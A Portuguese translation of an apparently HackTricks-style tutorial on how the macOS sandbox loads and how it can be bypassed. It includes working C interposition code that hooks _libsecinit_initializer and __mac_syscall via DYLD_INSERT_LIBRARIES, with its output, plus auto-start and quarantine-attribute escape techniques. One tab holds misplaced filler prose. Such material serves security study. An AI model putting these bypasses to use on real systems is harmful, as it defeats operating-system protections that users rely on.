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Depuração e Bypass do Sandbox do macOS

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Processo de carregamento do Sandbox

Imagem de http://newosxbook.com/files/HITSB.pdf

Na imagem anterior, é possível observar como o sandbox será carregado quando um aplicativo com a permissão com.apple.security.app-sandbox é executado.

O compilador irá vincular /usr/lib/libSystem.B.dylib ao binário.

Em seguida, libSystem.B irá chamar várias outras funções até que o xpc_pipe_routine envie as permissões do aplicativo para o securityd. O Securityd verifica se o processo deve ser colocado em quarentena dentro do Sandbox e, se sim, ele será colocado em quarentena.
Por fim, o sandbox será ativado com uma chamada para __sandbox_ms, que chamará __mac_syscall.

Possíveis Bypasses

Bypass do atributo de quarentena

Arquivos criados por processos em sandbox recebem o atributo de quarentena para evitar a fuga do sandbox. No entanto, se você conseguir criar um pacote .app sem o atributo de quarentena dentro de um aplicativo em sandbox, você pode fazer com que o binário do pacote do aplicativo aponte para /bin/bash e adicionar algumas variáveis de ambiente no plist para abusar do launchctl e iniciar o novo aplicativo sem sandbox.

Isso é o que foi feito em CVE-2023-32364

Abuso da funcionalidade Open

Nos últimos exemplos de bypass do sandbox do Word, pode-se apreciar como a funcionalidade open do cli pode ser abusada para contornar o sandbox.

Abuso de Locais de Início Automático

Se um processo em sandbox pode escrever em um local onde posteriormente um aplicativo sem sandbox vai executar o binário, ele será capaz de escapar apenas colocando o binário lá. Um bom exemplo desse tipo de locais são ~/Library/LaunchAgents ou /System/Library/LaunchDaemons.

Para isso, você pode precisar de 2 etapas: fazer um processo com um sandbox mais permissivo (file-read*, file-write*) executar seu código, que na verdade irá escrever em um local onde será executado sem sandbox.

Confira esta página sobre Locais de Início Automático:

{% content-ref url="../../../../macos-auto-start-locations.md" %} macos-auto-start-locations.md {% endcontent-ref %}

Abuso de outros processos

Se a partir do processo em sandbox você conseguir comprometer outros processos em execução em sandboxes menos restritivas (ou sem sandbox), você será capaz de escapar para seus sandboxes:

{% content-ref url="../../../macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

Compilação Estática e Vinculação Dinâmica

Esta pesquisa descobriu 2 maneiras de contornar o Sandbox. Como o sandbox é aplicado a partir do espaço do usuário quando a biblioteca libSystem é carregada. Se um binário pudesse evitar o carregamento dela, ele nunca seria colocado em sandbox:

Se o binário fosse completamente compilado estaticamente, ele poderia evitar o carregamento dessa biblioteca.
Se o binário não precisasse carregar nenhuma biblioteca (porque o linker também está em libSystem), ele não precisaria carregar libSystem.

Shellcodes

Observe que até mesmo shellcodes em ARM64 precisam ser vinculados em libSystem.dylib:

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

Entitlements

Observe que mesmo que algumas ações possam ser permitidas pelo sandbox se um aplicativo tiver uma autorização específica, como em:

(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]

Bypassando o Interpost

Para obter mais informações sobre o Interpost, consulte:

{% content-ref url="../../../mac-os-architecture/macos-function-hooking.md" %} macos-function-hooking.md {% endcontent-ref %}

Interpostar `_libsecinit_initializer` para evitar o sandbox

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Interceptar `__mac_syscall` para evitar o Sandbox

{% code title="interpose.c" %}

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};

{% endcode %}

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

Depurar e contornar o Sandbox com lldb

Vamos compilar um aplicativo que deve ser colocado em um sandbox:

{% tabs %} {% tab title="sand.c" %}

#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}

{% tab title="entitlements.xml" %}

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>

{% tab title="Info.plist" %}

O arquivo Info.plist contém informações sobre o aplicativo, como seu nome, versão e identificador exclusivo. Ele também pode conter configurações relacionadas à segurança e privilégios do aplicativo. O Info.plist é um arquivo de propriedades XML que está localizado dentro do pacote do aplicativo macOS.

Ao desenvolver um aplicativo para macOS, é importante considerar as configurações de segurança no arquivo Info.plist. Essas configurações podem ajudar a proteger o aplicativo contra ameaças de segurança e limitar os privilégios do aplicativo.

Além disso, o Info.plist também pode conter informações sobre as permissões necessárias para que o aplicativo acesse recursos do sistema, como a câmera, o microfone ou os dados do usuário. Essas permissões podem ser especificadas usando as chaves NSCameraUsageDescription, NSMicrophoneUsageDescription e NSUserTrackingUsageDescription, respectivamente.

É importante revisar e configurar corretamente o arquivo Info.plist para garantir que o aplicativo esteja adequadamente protegido e tenha os privilégios necessários para funcionar corretamente no macOS.

{% endtab %}

<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>

{% endtab %} {% endtabs %}

Em seguida, compile o aplicativo:

{% code overflow="wrap" %}

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand